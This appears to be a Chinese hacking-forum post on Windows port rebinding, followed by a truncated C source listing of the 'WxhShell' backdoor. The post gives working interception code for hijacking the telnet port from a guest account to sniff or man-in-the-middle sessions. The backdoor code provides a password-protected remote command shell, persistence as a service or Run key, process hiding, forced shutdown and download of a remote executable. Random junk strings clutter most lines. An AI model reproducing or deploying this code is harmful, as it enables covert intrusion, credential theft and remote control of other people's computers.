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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s6k,'`.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *R17 KMS  
[KIK}:  
  saddr.sin_family = AF_INET; o(iN}.c  
nwlo,[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d($f8{~W  
\`N%77A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zi~_[l-  
VmLV:"P}^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ][8ZeM9&p  
5}3Q}o#  
  这意味着什么?意味着可以进行如下的攻击: ;H5H7ezV  
v~>^c1:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i]{M G'tg  
-Dw qoWZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #/'5N|?  
)Yvf9dl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $ig%YB  
. W{\wk n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .d:sQ\k~=  
B mq7w,L.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 " &B/v"nj  
,fQc0gM=[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lc/q0  
^7C?yC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =:rR%L!a  
k36%n *4  
  #include %\?2W8Qv_J  
  #include 1<_i7.{k  
  #include ($^XF:#5  
  #include    2F(zHa  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ?C   
  int main() +OkR7bl  
  { {.tUn`j6V  
  WORD wVersionRequested; :. B};;N  
  DWORD ret; @)mH"u!(7  
  WSADATA wsaData; x0wy3+GZc  
  BOOL val; p{7"a  
  SOCKADDR_IN saddr; b'`8$;MII  
  SOCKADDR_IN scaddr; YK#bzu ,!  
  int err; Two$wL/  
  SOCKET s; q: . URl  
  SOCKET sc; kBd #=J  
  int caddsize; VJ P]Jy_  
  HANDLE mt; AZcW f8  
  DWORD tid;   4-efnB  
  wVersionRequested = MAKEWORD( 2, 2 ); v/6QE;BY&Q  
  err = WSAStartup( wVersionRequested, &wsaData ); Oa=0d;_  
  if ( err != 0 ) { &G?b|Tb2  
  printf("error!WSAStartup failed!\n"); zRsG$)B  
  return -1; +.MHI   
  } FCU~*c8Cs  
  saddr.sin_family = AF_INET; 31-%IkX+k  
   Qy |*[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @%@uZqQ4  
RP&H9>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1{R 1:`  
  saddr.sin_port = htons(23); s)W^P4<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5'gV_U  
  { \M1-  
  printf("error!socket failed!\n"); ?cf9q@eAH  
  return -1; [#V?]P\uV  
  } c*ac9Y'o  
  val = TRUE; WP7*Q:5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \gy39xoW(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bCHA!zO  
  { 1I^[_ /_\y  
  printf("error!setsockopt failed!\n"); ziCTvT  
  return -1; I:[^><?E  
  } Hj"`z6@7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fQq'_q5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6}A1^RB+w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dX-Xzg  
4v cUHa|4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qp~O!9ph  
  { Jj}+tQ f  
  ret=GetLastError(); zl\mBSBx"  
  printf("error!bind failed!\n");  Hrm^@3  
  return -1; vx /NG$  
  } `=8g%O|T  
  listen(s,2); ` WIv|S  
  while(1) ntE;*F yH  
  { y`!~JL*  
  caddsize = sizeof(scaddr); ~]P_Yd-|  
  //接受连接请求 LO0<=4iN(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Et)@{iP  
  if(sc!=INVALID_SOCKET) p5&:>>  
  { 7<['4*u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z}6   
  if(mt==NULL) aaW(S K  
  { 1TeYA6 t  
  printf("Thread Creat Failed!\n"); Ha{#  
  break; ;LM`B^Q]s  
  } 9q;n@q:29  
  } "HSAwe`5jU  
  CloseHandle(mt); P 0v&*y3Y  
  } r=l hYn  
  closesocket(s); H$Om{r1j  
  WSACleanup(); O+hN?/>v  
  return 0; z/yNFY]i  
  }   :=!?W^J  
  DWORD WINAPI ClientThread(LPVOID lpParam) k_$:?$  
  { 4sOo>.<x  
  SOCKET ss = (SOCKET)lpParam; FY  U)sQ  
  SOCKET sc; c+P.o.k;  
  unsigned char buf[4096]; J+ tpBPmb  
  SOCKADDR_IN saddr; Ux5pw  
  long num; R]hilb'a  
  DWORD val; *m$P17/C  
  DWORD ret; jinDKJ,n;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #_)<~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %!Z9: +;B  
  saddr.sin_family = AF_INET; ^)|8N44O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @}sxA9 a  
  saddr.sin_port = htons(23); %DH2]B? 0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ghtvAG  
  { $e>(M&9,  
  printf("error!socket failed!\n"); z2:^Qg  
  return -1; S[g{ )p)  
  } ~wtl\-cY  
  val = 100; M'gw-^(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mOm_a9M L  
  { $mf Z{  
  ret = GetLastError(); a'3|EWS ?  
  return -1; 3^NHV g  
  } (.Q.S[<Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9p| ;Hh:  
  { k0[b4cr`  
  ret = GetLastError(); /{h@A~<96  
  return -1; Y|%s =0M  
  } {p -q&k&R|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &z'N Q !uV  
  { 3QNu7oo  
  printf("error!socket connect failed!\n"); >/W  
  closesocket(sc); IY$v%%2WZ  
  closesocket(ss); ~MuD`a7#G  
  return -1; H?\b   
  } l;+nL[%`  
  while(1) DKG99biJN  
  { 7`pK=E}+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4~DW7 (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tw]].|^f-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 voitdz  
  num = recv(ss,buf,4096,0); sWGc1jC?.F  
  if(num>0) fgW>~m.W  
  send(sc,buf,num,0); R[bI4|t  
  else if(num==0) mh :eUFe  
  break; ui!MQk+D9  
  num = recv(sc,buf,4096,0); H3Zs m)+:  
  if(num>0) Fs 95^T  
  send(ss,buf,num,0); a j13cC$  
  else if(num==0) J;#7dRW{  
  break; >J['so2Bf  
  } JIh:IR(ta  
  closesocket(ss); 9J(jbJ7p  
  closesocket(sc); F&6Xo]?  
  return 0 ; ,+U,(P5>s  
  } AD0pmD  
Og E<bw  
;UPI%DnE]  
========================================================== +m]Kj3-z@  
S @tpd'  
下边附上一个代码,,WXhSHELL o"M h wh  
w\`u |f;Aq  
========================================================== /xh/M@G3  
 }0f"SWO>  
#include "stdafx.h" ;%V)lP"o  
.{ -C*  
#include <stdio.h> 6Sr}I,DG  
#include <string.h> /5&' U!:+  
#include <windows.h> u0?,CQPL  
#include <winsock2.h> {<#~Ya-  
#include <winsvc.h> 0$1-5XY9  
#include <urlmon.h> o^*k   
|x$2- RUP  
#pragma comment (lib, "Ws2_32.lib") 3 6-Sw  
#pragma comment (lib, "urlmon.lib") m)oGeD( !  
;Q8LA",5d  
#define MAX_USER   100 // 最大客户端连接数 qpZR-O  
#define BUF_SOCK   200 // sock buffer @q<F_'7is  
#define KEY_BUFF   255 // 输入 buffer K'u66%wAL  
fXfO9{E  
#define REBOOT     0   // 重启 1_V',0|`>  
#define SHUTDOWN   1   // 关机 0.kQqy~5  
hY[Vs5v  
#define DEF_PORT   5000 // 监听端口 j _p|>f<}  
2|:xb9#  
#define REG_LEN     16   // 注册表键长度 x !^u$5c  
#define SVC_LEN     80   // NT服务名长度 EN/e`S$)  
y~-dQ7r  
// 从dll定义API \$[; d:9j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pj/w9j G6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dWDM{t\}\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6>R|B?I%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d@#wK~I  
f'Cx %  
// wxhshell配置信息 .Mz'h 9@  
struct WSCFG { 1?hx/02  
  int ws_port;         // 监听端口 )"4v0dv  
  char ws_passstr[REG_LEN]; // 口令 -ttH{SslM  
  int ws_autoins;       // 安装标记, 1=yes 0=no W&HF*Aw  
  char ws_regname[REG_LEN]; // 注册表键名 R}J}Q b  
  char ws_svcname[REG_LEN]; // 服务名 H(,D5y`k1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >2[nTfS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <V_P)b8$1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j$mCU?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D g~L"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +:jx{*}jo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ro`2IE>  
.]D7Il  
}; 1Bhd-  
/lqVMlz\77  
// default Wxhshell configuration Exu>%  
struct WSCFG wscfg={DEF_PORT, IwJ4K+  
    "xuhuanlingzhe", Yv ZcG3@c3  
    1, gt Vnn]Jh  
    "Wxhshell", RwyRPc _  
    "Wxhshell", UD}#c:I  
            "WxhShell Service", 6Qh@lro;y  
    "Wrsky Windows CmdShell Service", 75?z" i  
    "Please Input Your Password: ", L^><APlX  
  1, k/]4L!/ T  
  "http://www.wrsky.com/wxhshell.exe", #'lqE)T  
  "Wxhshell.exe" v"3($?au0  
    }; XjINRC8^4  
eemw I  
// 消息定义模块 K#_x.: <J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v62O+{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 S 6@[-E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L$rMfe S  
char *msg_ws_ext="\n\rExit."; "Di8MMGOY  
char *msg_ws_end="\n\rQuit."; %ok??_}$}q  
char *msg_ws_boot="\n\rReboot..."; 6G0Y,B7&  
char *msg_ws_poff="\n\rShutdown..."; & c V$`L  
char *msg_ws_down="\n\rSave to "; t'{IE!_  
RF$2p4=[  
char *msg_ws_err="\n\rErr!"; Z\. n6  
char *msg_ws_ok="\n\rOK!"; _`-trE.  
(u:^4,Z  
char ExeFile[MAX_PATH]; vj,OX~|  
int nUser = 0; J,SP1-L  
HANDLE handles[MAX_USER]; ;%W]b  
int OsIsNt; IMcuoQ5  
VxA?LS`  
SERVICE_STATUS       serviceStatus; HY!R|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %pG^8Q()   
vOQ 3A%/  
// 函数声明 egXbe)ld  
int Install(void); ($or@lfs  
int Uninstall(void); o!@}&DE|*L  
int DownloadFile(char *sURL, SOCKET wsh); "\`>Ll  
int Boot(int flag); W{W8\  
void HideProc(void); <reALC  
int GetOsVer(void); JG/Pc1aK  
int Wxhshell(SOCKET wsl); $~c wB  
void TalkWithClient(void *cs); scQnL'\  
int CmdShell(SOCKET sock); ``:+*4e9  
int StartFromService(void); l' mdj!{&  
int StartWxhshell(LPSTR lpCmdLine); euiP<[|h=  
bGtS! 'I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *YO^+]nmY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^g SZzJ5  
4^(aG7  
// 数据结构和表定义 PK).)5sW  
SERVICE_TABLE_ENTRY DispatchTable[] = NpLZ ,|H  
{ m"/ o4  
{wscfg.ws_svcname, NTServiceMain}, q,m+W='  
{NULL, NULL} cNl NJ  
}; / DG  t  
A@<a')#>)  
// 自我安装 #1De#uZ  
int Install(void) x:$ xtu  
{  <BiSx  
  char svExeFile[MAX_PATH]; MAQ(PIc>T  
  HKEY key; ]_(J8v  
  strcpy(svExeFile,ExeFile); XY^]nm-{I  
Fs(FI\^  
// 如果是win9x系统,修改注册表设为自启动 +3F%soum95  
if(!OsIsNt) { ")YD~ZA%)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i_e%HG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SA?lDRF  
  RegCloseKey(key); )uu(I5St  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mg]t)+PQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |=js!R|  
  RegCloseKey(key); v`@M IOv  
  return 0; H/U.Bg 4  
    } _#K?yP?  
  } <?>tjCg'  
} Rt>mAU$}  
else { c] -  
GL%)s?   
// 如果是NT以上系统,安装为系统服务 Ae\:{[c_D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #/> a`Ur_  
if (schSCManager!=0) !dq$qUl/  
{ K0~=9/  
  SC_HANDLE schService = CreateService Re+oCJ  
  ( I?RUVs  
  schSCManager, 1~Z   
  wscfg.ws_svcname, sJ{r+wY  
  wscfg.ws_svcdisp, #(QS5J&Qq  
  SERVICE_ALL_ACCESS, } m"':f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0avtfQ +f  
  SERVICE_AUTO_START, +%H=+fJ2}  
  SERVICE_ERROR_NORMAL, >0_{80bdO  
  svExeFile, !mmSF1f  
  NULL, h$mGaw vZ~  
  NULL, \l%##7DRp]  
  NULL, "~S2XcR[ E  
  NULL, |ZC'a!  
  NULL znDpg{U(  
  ); -24ccN;  
  if (schService!=0) Yxy!&hPLv:  
  { B2Rpd &[  
  CloseServiceHandle(schService); (|#%omLL  
  CloseServiceHandle(schSCManager); m#ig.z|A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~^'WHuz Py  
  strcat(svExeFile,wscfg.ws_svcname); 5 `@yX[G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VCVKh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b6xz\zCL  
  RegCloseKey(key); ]TJ258P}  
  return 0; YeVo=hYH@  
    } ~!M"  
  } Q~/=p>=uu  
  CloseServiceHandle(schSCManager); 9R">l5u  
} #3tC"2MZ  
} W7;RQ  
8)M WC:  
return 1; qA[cF$CIl)  
} 7{l~\] 6d  
Z +O< IF%  
// 自我卸载 pFV~1W:  
int Uninstall(void) 0fLd7*1>  
{ oIQ$98M  
  HKEY key; Bz|/TV?X(  
Lxv6\3I+  
if(!OsIsNt) { z_=V6MDM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u%6b|M@P  
  RegDeleteValue(key,wscfg.ws_regname); m=Gb<)Y  
  RegCloseKey(key); pe>?m^gz[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X4!Jj *  
  RegDeleteValue(key,wscfg.ws_regname); |qwx3 hQ?  
  RegCloseKey(key); So75h*e  
  return 0; gX$gUB) x  
  } .XVL JJ#  
} ]>ndFE6kl  
} *=!r|UdB.  
else { ; xQhq*  
K r<UPr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K`60[bdp  
if (schSCManager!=0) J4z&J SY  
{ s8qpK; O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fpwhyls  
  if (schService!=0) )]<^*b>  
  { hJw]hVYa  
  if(DeleteService(schService)!=0) { &OEBAtc/  
  CloseServiceHandle(schService); ;B(16&l=q  
  CloseServiceHandle(schSCManager); qV,x)y:V  
  return 0; ,S@B[+VZ  
  } V?`|Ha}  
  CloseServiceHandle(schService); zy8+~\a+Y&  
  } SJ:Teab  
  CloseServiceHandle(schSCManager); 8<KC-|y.  
} Ol>/^3 a=  
} \5=4!Ez  
|}/KueZ  
return 1; :S!!J*0  
} HCe/!2Y/%  
>Rb jdM5K4  
// 从指定url下载文件 0dI7{o;<|  
int DownloadFile(char *sURL, SOCKET wsh) ,OP\^  
{ 4!-R&<TLve  
  HRESULT hr; w\V<6_[vv.  
char seps[]= "/"; kho0@o+'^  
char *token; oz[G'[\}F  
char *file; ; TwqZw[.  
char myURL[MAX_PATH]; 7 n^1H[q  
char myFILE[MAX_PATH]; cS@p`A7Tpo  
-Ekf T_  
strcpy(myURL,sURL); *"6A>:rQs  
  token=strtok(myURL,seps); %.Kr`#lCr  
  while(token!=NULL) 3/(eK%d4Xb  
  { &_j<! 3*  
    file=token; :O?3lj)  
  token=strtok(NULL,seps); 9;`hJ!r  
  } nr( C*E  
IlI5xkJ(  
GetCurrentDirectory(MAX_PATH,myFILE); 0 N0< 4b  
strcat(myFILE, "\\"); BGOS(  
strcat(myFILE, file); V>UlL&V  
  send(wsh,myFILE,strlen(myFILE),0); |<y1<O>F  
send(wsh,"...",3,0); <'A-9y]-v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -rHqU|  
  if(hr==S_OK) Yfs eX;VX  
return 0; M9(lxu y1  
else /5 OQ0{8p  
return 1; +>c%I&h}`  
l2wu>Ar7.  
} - ku8n%u  
Bi"cWO  
// 系统电源模块 d`j<Bbf-  
int Boot(int flag) U9 Q[K`  
{ _. EM])b  
  HANDLE hToken; F< dhG>E9  
  TOKEN_PRIVILEGES tkp; (hRg0Z=  
lYr4gFOs  
  if(OsIsNt) { J%!vhQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]!/R tt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /R6\_oM  
    tkp.PrivilegeCount = 1; <Skf n`).  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qS ggZ0*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X]\; f  
if(flag==REBOOT) { ?/~Q9My  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^(BE_<~  
  return 0; B&EUvY '  
} R[m+s=+  
else { @B?'Mu*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5B3sRF}  
  return 0; Wi~?2-!  
} y"K[#&,0  
  } n S Vr,wU  
  else { :01B)~^  
if(flag==REBOOT) { SWT)M1O2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (I{+ %  
  return 0; >yLdrf  
} &7{yk$]*  
else { TpHzf3.I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uE.. 1N&*  
  return 0; %"|W qxv  
}  DD[<J:6  
} e YiqTWn:  
iWkC: fQz  
return 1; xF 3Z>  
} {Z>Mnw"R  
ajf(Ii\/  
// win9x进程隐藏模块 {c<cSrfI  
void HideProc(void) 8LY^>.  
{  Qr-,J_  
/8"rCh|m-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e=_Ng j)  
  if ( hKernel != NULL ) 8}Q 2!,9Q  
  { FU)=+m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SXNde@% {  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 74c5\UxA  
    FreeLibrary(hKernel); xE*. ,:,&  
  } F^?DnZs  
E7I$GD  
return; IUD@Kf]S  
} Bt(nm> Ng  
z0&Y_Up+5  
// 获取操作系统版本 ,y}~rYsP%  
int GetOsVer(void) Z ?F_({im  
{ ,Z8)DC=  
  OSVERSIONINFO winfo; \]3[Xw-$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  LYyud  
  GetVersionEx(&winfo); N]F}Z#h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ku#WQL  
  return 1; M5N #xgR  
  else m@",Zr `f=  
  return 0; HzsQ`M4cA  
} gIKQip<  
3MDs?qx>s  
// 客户端句柄模块 HI[Pf%${  
int Wxhshell(SOCKET wsl) E=]|v+#~  
{ ss`Sl$  
  SOCKET wsh; vb9C&#  
  struct sockaddr_in client;  k =O  
  DWORD myID; gN]\#s@[  
~9@83Cs2  
  while(nUser<MAX_USER) HK VtO%&  
{ TK0W=&6#A  
  int nSize=sizeof(client); z:&/O&?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ju1B._48  
  if(wsh==INVALID_SOCKET) return 1; 1-|aeJ  
gSe3S-Lt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); COHook(:  
if(handles[nUser]==0) wEQZ9?\  
  closesocket(wsh); T9Fe!yVA  
else YdN]Tqc  
  nUser++; {HFx+<JG  
  } Y+5aT(6O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }hcY5E-n  
`^|l+TJG  
  return 0; e`Co ='  
} ` }B,w-,io  
`Q[NrOqe"  
// 关闭 socket #$}A$sm  
void CloseIt(SOCKET wsh) 'X`W+=T$  
{ Kq(JHB+  
closesocket(wsh); yD@1H(yM  
nUser--; rbl^ aik  
ExitThread(0); 3 rR1/\  
} _hMFmI=r[  
Mq_P'/  
// 客户端请求句柄 #$F*.vQSs+  
void TalkWithClient(void *cs) v:n[H]K|  
{ $EzWUt  
`>OKV;~{z  
  SOCKET wsh=(SOCKET)cs; 0%)T]SDS  
  char pwd[SVC_LEN]; hE<Sm*HU  
  char cmd[KEY_BUFF]; Wfy+9"-;s  
char chr[1]; CTxP3a9]  
int i,j; cwzgIm+  
fK2r6D9  
  while (nUser < MAX_USER) { wuM'M<J@  
^;tB,7:*V  
if(wscfg.ws_passstr) { S#<y_w%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5>ktr)]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ {6l}  
  //ZeroMemory(pwd,KEY_BUFF); ]wi0qc2 {  
      i=0; h4+*ssnYV  
  while(i<SVC_LEN) { 6Nt/>[  
A(n#k&W1fZ  
  // 设置超时 6ud<U#\b&  
  fd_set FdRead; $\|Q+7lQ  
  struct timeval TimeOut; ?[P>2oz  
  FD_ZERO(&FdRead); oB~V~c}8x  
  FD_SET(wsh,&FdRead); FZIC |uz  
  TimeOut.tv_sec=8; N;k)>  
  TimeOut.tv_usec=0; <lLJf8OK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ) .KMZ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `zB bB^\`W  
/)kx`G_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zx*D)i5-  
  pwd=chr[0]; hljKBx ~  
  if(chr[0]==0xd || chr[0]==0xa) { _O ;4>  
  pwd=0; Od:-fw  
  break; ^P*-bV4  
  } ~>P(nI  
  i++; 6As%<g=  
    } Dwr 9}Z-]  
7B\Q5fLQ  
  // 如果是非法用户,关闭 socket $15H_X*!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "_&c[VptWi  
} xGOVMo +  
L ./c#b!{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g-1j#V`5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X$6QQnyR  
s|`wi}"x  
while(1) { 6> z{xYat  
l(}MM|ka  
  ZeroMemory(cmd,KEY_BUFF); pOh<I {r1  
|I29m`  
      // 自动支持客户端 telnet标准   7(a1@VH  
  j=0; WW>m`RU`  
  while(j<KEY_BUFF) { y.6/x?Qc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z0<s -eN:  
  cmd[j]=chr[0]; w=a$]`  
  if(chr[0]==0xa || chr[0]==0xd) { I)s_f5'  
  cmd[j]=0; )Y9\>Xj7  
  break; =p"ma83  
  } D$*o}*mb  
  j++; %g{)K)$,ui  
    } Pai8r%Zfu  
y n_.  
  // 下载文件 j>uu3ADd2  
  if(strstr(cmd,"http://")) { O:GAS [O`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (|rf>=B+H  
  if(DownloadFile(cmd,wsh)) /oLY\>pD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DEt!/a{X  
  else xSNGf@1b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CC;^J-h/  
  } Px Gw5:  
  else { <RZqs  
Q\T?t  
    switch(cmd[0]) { *Ms"{+C  
  6}!1a?X  
  // 帮助 P=6d<no&<  
  case '?': { ';My"/ Z-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EtaKo}!A}  
    break; MGxkqy?  
  } 2|d^#8)ZC  
  // 安装 ^y KkWB*  
  case 'i': { [#RFdn<  
    if(Install()) RA[%8Rh)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :#35mBe}k  
    else 'GX x|.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gmgri   
    break; VB#&`]r do  
    } !{+.)%d'g  
  // 卸载 gx',K1T  
  case 'r': { F:q8.^HTJ  
    if(Uninstall()) ViMl{3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .{*l,  
    else P}UxA!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tsj/alC[  
    break; .P/0 `A{&  
    } }LKD9U5;8  
  // 显示 wxhshell 所在路径 oz)4YBf  
  case 'p': { D GcpYA.7'  
    char svExeFile[MAX_PATH]; 0B!(i.w  
    strcpy(svExeFile,"\n\r"); PREGQ0  
      strcat(svExeFile,ExeFile); I`rN+c:  
        send(wsh,svExeFile,strlen(svExeFile),0); H!u8+  
    break; q5=,\S3=  
    } kp*!  
  // 重启 ]@<VLP?  
  case 'b': { <tZZ]Y]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oH?:(S(  
    if(Boot(REBOOT)) E;x-O)(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f!R7v|j P  
    else { %;v~MC @  
    closesocket(wsh); l9="ccM  
    ExitThread(0); +Ln^<!P  
    } GD]epr%V  
    break; [+pa,^  
    } 'TH[Db'`I  
  // 关机 o:W*#dt  
  case 'd': { Qg~w 3~  
